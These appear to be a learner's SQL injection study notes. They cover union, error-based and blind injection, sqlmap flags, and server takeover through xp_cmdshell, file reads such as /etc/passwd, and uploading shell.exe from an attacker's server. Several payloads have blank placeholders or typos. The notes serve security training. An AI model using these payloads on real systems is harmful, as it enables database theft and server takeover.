▒█████ █████▒ █████▒ ██████ ▓█████ ▄████▄ ██▒ █▓ ▄▄▄ █ ██ ██▓ ▄▄▄█████▓
▒██▒ ██▒▓██ ▒▓██ ▒▒██ ▒ ▓█ ▀ ▒██▀ ▀█▓██░ █▒▒████▄ ██ ▓██▒▓██▒ ▓ ██▒ ▓▒
▒██░ ██▒▒████ ░▒████ ░░ ▓██▄ ▒███ ▒▓█ ▄▓██ █▒░▒██ ▀█▄ ▓██ ▒██░▒██░ ▒ ▓██░ ▒░
▒██ ██░░▓█▒ ░░▓█▒ ░ ▒ ██▒▒▓█ ▄ ▒▓▓▄ ▄██▒▒██ █░░░██▄▄▄▄██ ▓▓█ ░██░▒██░ ░ ▓██▓ ░
░ ████▓▒░░▒█░ ░▒█░ ▒██████▒▒░▒████▒▒ ▓███▀ ░ ▒▀█░ ▓█ ▓██▒▒▒█████▓ ░██████▒▒██▒ ░
░ ▒░▒░▒░ ▒ ░ ▒ ░ ▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ░▒ ▒ ░ ░ ▐░ ▒▒ ▓▒█░░▒▓▒ ▒ ▒ ░ ▒░▓ ░▒ ░░
░ ▒ ▒░ ░ ░ ░ ░▒ ░ ░ ░ ░ ░ ░ ▒ ░ ░░ ▒ ▒▒ ░░░▒░ ░ ░ ░ ░ ▒ ░ ░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ▒ ░░░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░
░ ░
05.SQL injections
>>> portswigger
https://portswigger.net/web-security/sql-injection
sql sintax
select [colunmlist] from [table] where [condition]
UNION = it performs an UNION of different SELECT statements. it implies DINSTINCT by default.
DISTINCT = remove the duplicates
how to comments lines on SQL ?
hashtag #
two dashes -- followed by space
commong forms to exploit the SQLi:
' OR 'a'='a
' UNION SELECT Username, Password from Accounts WHERE 'a'='a
what can we do with an SQLi attack ?
-read file system
-run OS commands
-install shells
-access remote network & more
SQLi classifications:
-scope of the attack
-exploitation vector
-source of the attack
types
in-band = it is exploited by using the same channel to retrieve the data
error-based = it is exploited by forcing the DBMS to output errors
blind = there's no output and it is exploited by an inference exploitation, mostly by true/false conditions.
to understand the true/false responses, it is needed to study the webapp behavior.
C O N D I T I O N S / BOOLEAN BASED DETECTIONS = needed when there's no output.
' OR '1'='1 ==> TRUE
' OR '1'='2 ==> FALSE
a good trick to exploit SQLi is to use "Comments" [# or --]
ENUMERATING the number of fields in a query
we can start injecting the null value in order to build a valid query.
sample:
9999 UNION SELECT NULL; -- -
9999 UNION SELECT NULL, NULL; -- -
9999 UNION SELECT NULL, NULL, NULL; -- -
and so on, only add the NULL value to create a valid query and the error dissapear.
BLIND ENUMERATING SCENARIO
- it is needed to start with a valid ID in order to enumerate the fields in a query.
when nothing is displayed, it possible means there's something bad with the query. when the content is displayed, it means you found
the number of parameters.
- enumerate the type of the fields
when enumerating the type of field and the type enforcing is enabled it will trigger an error.
engines with type enforcing enabled:
->PostgreSQL = YES
->MS SQL SERVER = YES
->ORACLE = YES
->MySQL = NO
> enumerate field types
cyclical process
steps:
1.substitute one of the null fields in our payload with a constant
if the constant is correct, it will work, if not, it will throw an error.
sample: after finding the in-band valid query, there's a way to validate the type.
' UNION SELECT 1, null; -- -
it will try to check for integer the first field. (if there's no error, it means the field is integer) the same process can be repeated to check for the field type.
> error based explotation
most of the times the error is reflected in the web application output, but could be also embedded in an email, appended to a log file, etc.
MS SQL Sever reveals the name of the database objects within error messages.
schemas are databases with the singular purpose of describing all the other user-defined databases in the system.
"sa" is the superadmin for MS SQL Server and has access to the master database. master contains schemas of user defined databases.
first thing to know: database version, that to build the exploits accordingly.
most used trick is to "trigger a type conversion error"
payload for this technique:
9999999 or 1 in (SELECT TOP 1 CAST ( as varchar(4096)) from WHERE NOT IN ()); --
when we want the second select to be executed, it is needed that the first condition will be "false"
the section "or 1 in" will help to trigger the error, with this command we are asking the database to look for integer value 1 within a varchar column.
...CASTING
CAST ( as varchar(4096))
the fieldname section is where we insert the column that we want to dump. either a column of a user-defined databse or a special database column). the fieldname can also be a SQL function, user_name() or a variable like @@version. (check pentest monkey cheat)
find current databse user: if the user retrieved is not the admin user, we still can retrieve the databases owned by the same user.
9999 or 1 in (SELECT TOP 1 CAST(user_name() as varchar(4086))) --
retrieve databases: to do that, it is needed to iterate through the MASTER database to find all the databases that we can read.
payload: 9999 or 1 in (SELECT TOP 1 CAST(db_name(0) as varchar(4096))) --
db_name() function, accesses the master..sysdatabases table which stores all the databases installed on the server. it will access the databases that the user founded has access. to enumerate all of them it is needed to increment the db_name() argument from 0 to X number until it is not more dbs.
enumerate all tables in the current database or other databases:
payload:
9999 or 1 in (SELECT TOP 1 CAST(name as varchar(4096))) FROM ..sysobjects WHERE xtype='U' and name NOT IN ()); --
xtype='U' = means that we are only interested in user-defined tables
name NOT IN = name is a column of the "sysobjects" special table. every time we find a new table we will append it to the NOT IN list. needed because the error displays only the first table name
enumerating the columns:
payload:
9999 or 1 in (SELECT TOP 1 CAST (..syscolumns.name as varchar(4096)) FROM ..syscolumns,..sysobjects WHERE ..syscolumns.id=..sysobjects.id AND ..sysobjects.name= AND ..syscolumns.name NOT IN ()); --
= means the list of the columns we already retrieved
dumping
dump the data doing schema enumeration
payload:
9999 or 1 in (SELECT TOP 1 CAST ( as varchar(4096)) FROM .. WHERE NOT IN ()); -- -
to force or ensure the selected parameter has data type "varchar" exist a trick to add a concatenation: 2%bchar(64) | 2%b
payload: this payload will help to force the error (values: id, cms, users)
9999 or 1 in (SELECT TOP 1 CAST (id as varchar)%2char(64) FROM cms..users WHERE id NOT IN ('')); -- -
-> %2b = it means to sent the value/symbol + to the DBMS, the character "+" means concatenation.
getting all ID's now, the other columns can be extracted, for example, "users"
9999 or 1 in (SELECT TOP 1 CAST (username as varchar) FROM cms..users WHERE id=1); -- -
9999 or 1 in (SELECT TOP 1 CAST ("column name" as varchar) FROM cms..users WHERE id=1); -- -
this information can be retrieved using wget tool, like the following:
wget "vulnerable URL"/products.php?id=1 or 1 IN (SELECT TOP 1 CAST(db_name() as varchar(4096))) --" -q -O -
SQLi exploitation using "group by" statement::
in case there's repeated values, the group by statement will remove duplicates.
MySQL skeleton to create error-based injections:
select 1, 2 union select count(*), concat(,floor(rand(0)*2)) as x from information_schema.tables group by x;
extract database version on MySQL:
SELECT count(*), concat(version(), floor(rand(0)*2)) as x from information_schema.tables group by x;
POSTGRE ERROR BASED
technique/command:
...> get version
SELECT CAST(version()) as numeric);
...> get tables
SELECT CAST((SELECT table_name from information_schema.tables limit 1 offset 0) as numeric);
NOTE: to get all tables it is needed to change/modify the "offset" section from 0 to X number.
mssql-sql-injection-cheat-sheet
mysql-sql-injection-cheat-sheet
postgres-sql-injection-cheat-sheet
EXPLOITING BLIND SQL INJECTIONS
used to extract database schemas and data...
always true condition will be a good initial test. first will be good to understand the query structure behind. if running an always false condition there's no results, and running the always true retrieves, it means that it is exploitable.
knowing when a condition is truw or false helps to ask simple true/false questions.
sample:
-is the first letter of the username 'a' ?
-does this database contain three tables ?
how to get the user ?
first way:
SELECT user(); // will retrieve the current user
second way: returns a substring. it takes 3 parameters, input string, the position and its lenght.
SELECT substring('string', 2, 1);
functions can be used as an argument of other functions:
SELECT substring(user(), 1, 1);
SQL allows you to test the output of a function in a true/false condition.
combining that, we can iterate over the letters of the username by using payloads such as:
' or substr(user(),1, 1)= 'a
' or substr(user(),1, 1)= 'b
...
when we find the first letter, we can move to the second:
' or substr(user(), 2, 1)= 'a
repeat the process to find the complete username.
9999 or SUBSTRING(user_name(), 1, 1) = 'c';--
it will be good to keep the process as fast as possible. the best way is to reduce the number of iterations you have to do per character. means, you need to be able to understand if the character is [A-Z]/[a-z]/[0-9]
---technique discovered by SecForce
FIRST: see if the convertion to uppercase of the character will yield TRUE or FALSE
payload:
ASCII(UPPER(SUBSTRING((),,1))) = ASCII(SUBSTRING((),,1))
NOTE: ASCII() returns the ASCII code of a character. that will help to test if a character of a query is the same of its uppercase relative, because "a" does not equal to "A".
the same process for lower case:
ASCII(LOWER(SUBSTRING((),,1))) = ASCII(SUBSTRING((),,1))
=> if UPPER is TRUE and LOWER is FALSE, the character is UPPERCASE [A-Z]
=> if LOWER is TRUE and UPPER is FALSE, the character is LOWECASE [a-z]
=> if both are TRUE, character is either number or symbol [0-9]
SECOND: time-based blind sql injection, it is the time used to infer a TRUE condition from FALSE condition
syntax:
%SQL condition% waitfor delay '0:0:5'
// if the SQL condition is TRUE, the DBMS will delay for 6 seconds
__check for 'sa' user on MS SQL Server:
if (SELECT user) = 'sa' waitfor delay '0:0:5'
__guess a database value MySQL:
IF EXISTS (SELECT * FROM users WHERE username = 'armando') BENCHMARK(10000000,MD5(1))
NOTE: it is time consuming. below code means that if the clause yields TRUE, it will perform MD5(1) function 10000000 times.
>>... SQLMAP TOOL USAGE
tip: test the vuln manually first, because if you go fully automatic, probably the tool could act inefficient or crash the remote service.
basic sintax: sqlmap -u -p [options]
exploit POST parameter: sqlmap -u --data= -p [options]
needed:
1. URL
2. parameter, (it could work without a parameter)
flags:
-u = URL
-p = parameter
--techinique = technique to use
--data = define HTTP POST request
-r = request file
-D = database name
-T = table name
--dbms= specify database
TIP: one way to use SQLMap is by saving a request intercepted with burp proxy to a file. it can be POST as well.
exploit using a burp result file: sqlmap -r -p parameter [options]
FIRST STEP: grab the database banner. that will help to test the injection and also, to proof of the exploitability of the vulnerability.
sqlmap -u --banner
SECOND: information gathering
sqlmap -u --users
--> check if web app database user is admin
sqlmap -u --is-dba
--> list all available databases
sqlmap -u --dbs
--> select a database and list tables
sqlmap -u -D --tables
--> choose one or more tables and list their columns
sqlmap -u -D -T --columns
--> dump columns needed
sqlmap -u -D -T -C --dump
NOTE: webapps sometimes change the output in a way SQLMap cannot figure out. making blind SQLi impossible. to fix that, there's two flags: --string / --not-string
=> append to --string a string which is always present in true output pages or
=> append to --not-string a string which is always present in false output pages
if the injected payload need to end with ')); for example, the flag --suffix can be used, if is at the beginning, --prefix can be used
SQLi can be performed on any client-side input field. to make a SQLMap test:
[1] GET/POST request
[2] the cookie header values
[3] the user-agent and referrer headers
[5] host header
to use it the flag needed is --level, the flag -p will bypass the level. actually is better to run the test with that flag as it perform more accurate, stealthy and in-depth exploitation.
--risk parameter lets you fine-tune how dangerous the injections can be. however, will be good to use it only when is really needed and after carefully study the web app.
three risk levels:
1 - default innocuous injections
2 - enables heavy time-based injections
3 - enables OR-based injections
sometimes the injections can take long time to dump the data, to reduce that and make a persistent connection the following flag can be used: --keep-alive
sqlmap -u --keep-alive
you can reduce the dumping time using parallel threads with the following flag: --threads [range 1-10]
-mitigations-
.. input validation
.. type casting
....> FROM SQLi to SERVER TAKEOVER
engines: MS SQL & MySQL
the first testing objective is to retrieve the "sa" user password. once we have the SHA-1 hash of the password, it can be crack it.
two queries to retrieve username & password hash
SELECT name, password FROM master..sysxlogins -----> for MSSQL Server 2000
SELECT name, password_hash FROM master..sys.sql_logins -----> for MSSQL Server >= 2005
the "sa" user has complete control over the DBMS, the databases it contains and... advanced features. useful stored procedure: xp_cmdshell (NOT ALWAYS ENABLED DEFAULT & REQUIRE PRIVILEGES) so once we got "sa" we can enable it
following syntax to run any OS command: EXEC master..xp_cmdshell ''
...> enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
...> disable xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;
by using the xp_cmdshell, you can launch commands to the DB server. we can combine this with some other SQL server features to mount a host enumeration utility via SQL injection.
performing a ping: EXEC master.dbo.xp_cmdshell 'ping '
NOTE: this query will not show results, will be needed to use a time execution baseline to infer the ping result. to do that we have to compare between a known live host and the device we want to test.
timings baseline
-> ping live host: between 5-8 seconds
-> bogus IP: between 20-30 seconds
using advanced SQL server features, we can also implement a simple port scanner
>. port scanning
OPENROWSET is a SQL Server method you can use to access the tables of a remote server. It needs IP address and port to connect to.
payload:
SELECT * FROM OPENROWSET('SQLOLEDB', 'uid=sa;pwd=something;Network=DBMSSOCN;Address=,;timeout=', 'SELECT 1') --
if port is closed you will see similar to this: "SQL Server does not exist or access denied"
if the port is open you will see: "general network error" / "Check your network documentation"
if errors are hidden, and the port is closed, the connection will timeout according to the value.
.> read the file system
OPTION1_:
EXEC master..xp_cmdshell 'dir
will return the directory listing of , also, the output can be saved on a web accessible folder:
EXEC master..xp_cmdshell 'dir C:\ > C:\inetpub\wwwroot\site\dir.txt' --
and then just browse to dir.txt at the URL: http://site.com/dir.txt
OPTION_2:
you can read a file on the server and then put its content into a table. we can then extract the table via SQLi as any other table.
payload:
CREATE TABLE table_name (line varchar(8000));
BULK INSERT table_name FROM '';
NOTE: remember to drop the table after extracting it: DROP TABLE table_name;
.> upload a file to the system
involves two steps:
S T E P 1: insert the file into a table in a MS SQL database under our control
payload:
CREATE TABLE HelperTable (file text)
BULK INSERT HelperTable FROM 'shell.exe' WITH (codepage='RAW')
STEP 2: force the target DB to retrieve it from our server:
EXEC xp_cmdshell 'bcp "SELECT * FROM HelperTable" queryout shell.exe -c -Craw -S -U -P
... the victim server will connect to our SQL server, read the .exe file from the table and recreate it remotely.
>> STORING COMMAND RESULTS INTO A TEMPORARY TABLE
... technique to save the results of these stored procedures in a temporary table.
FIRST STEP: create temp table
this is created to hold the stored procedure output.
payload:
create table table_name (id int not null identity (1,1), output nvarchar(4096) null); --
..> the id column will help us to access different command outputs while the output column will contain the actual command results.
--> CRAFTING THE ARGUMENT FOR xp_cmdshell
we need to convert the command string of the command you want to run into an ASCII representation. sample: "dir C:\", to accomplish that is needed to convert all characters in HEX ASCII representation:
sample:
64 is the HEX code for "d" and so on... and then it is needed to add a double zero after every character of the string...
for example the final result will be: something similar like the following
RESULT IN HEX: 0x640069007200200063003a005c00
STEP2:
it is needed to instance a variable with the command string we have just created, and then we pass it to the xp_cmdshell
payload:
declare @t nvarchar(4096) set @t=0x640069007200200063003a005c00 insert into temptable (output) EXEC master.dbo.xp_cmdshell @t;
STEP3:
to read the files it is needed to dump the data, can be used any of the dumping techniques, prev used.
STEP4:
remove the temp table you created for that.
payload:
DROP TABLE temptable;
....> advanced MySQL exploitation:
MySQL is another DBMS which provided some advanced features. most of the features rely on the file privilege that "gives you permission to read and write files on the server host"
-file privs can be granted to any MySQL user depending on the web app needs. always granted to MySQL "root" user on Linux & Windows.
meaning that, if an app connects to the database as root, exploiting a SQL injection will lead not only to data compromise but also, to a full server takeover.
>> READ A FILE
..it is possible by using LOAD_FILE function:
SELECT LOAD_FILE('text_file_path');
..to read the binary file , it is possible to do it with the function HEX, sample:
payload:
mysql> SELECT HEX(LOAD_FILE(''));
-> using this method you can convert any binary file to a long hex string that you can use to steal any data from the server.
-> also, possible to parse the content of a file and tell MySQL how to distinguish a record from another one.
payload:
mysql> CREATE TABLE table_name(output longtext);
mysql> LOAD DATA INFILE '/etc/passwd' INTO TABLE table_name FIELDS TERMINATED BY '\n' (output);
description command:
"/etc/passwd" = file to read
"table_name" = name of the table
"output" = column name
> WRITE TO FILE A QUERY RESULT
using the SELECT .. INTO DUMPFILE statement, there's a chance to write to a file the result of a query. can be used to download huge query results via web app and to upload penetration tester supplied data to the server.
payload:
mysql> SELECT FROM INTO DUMPFILE '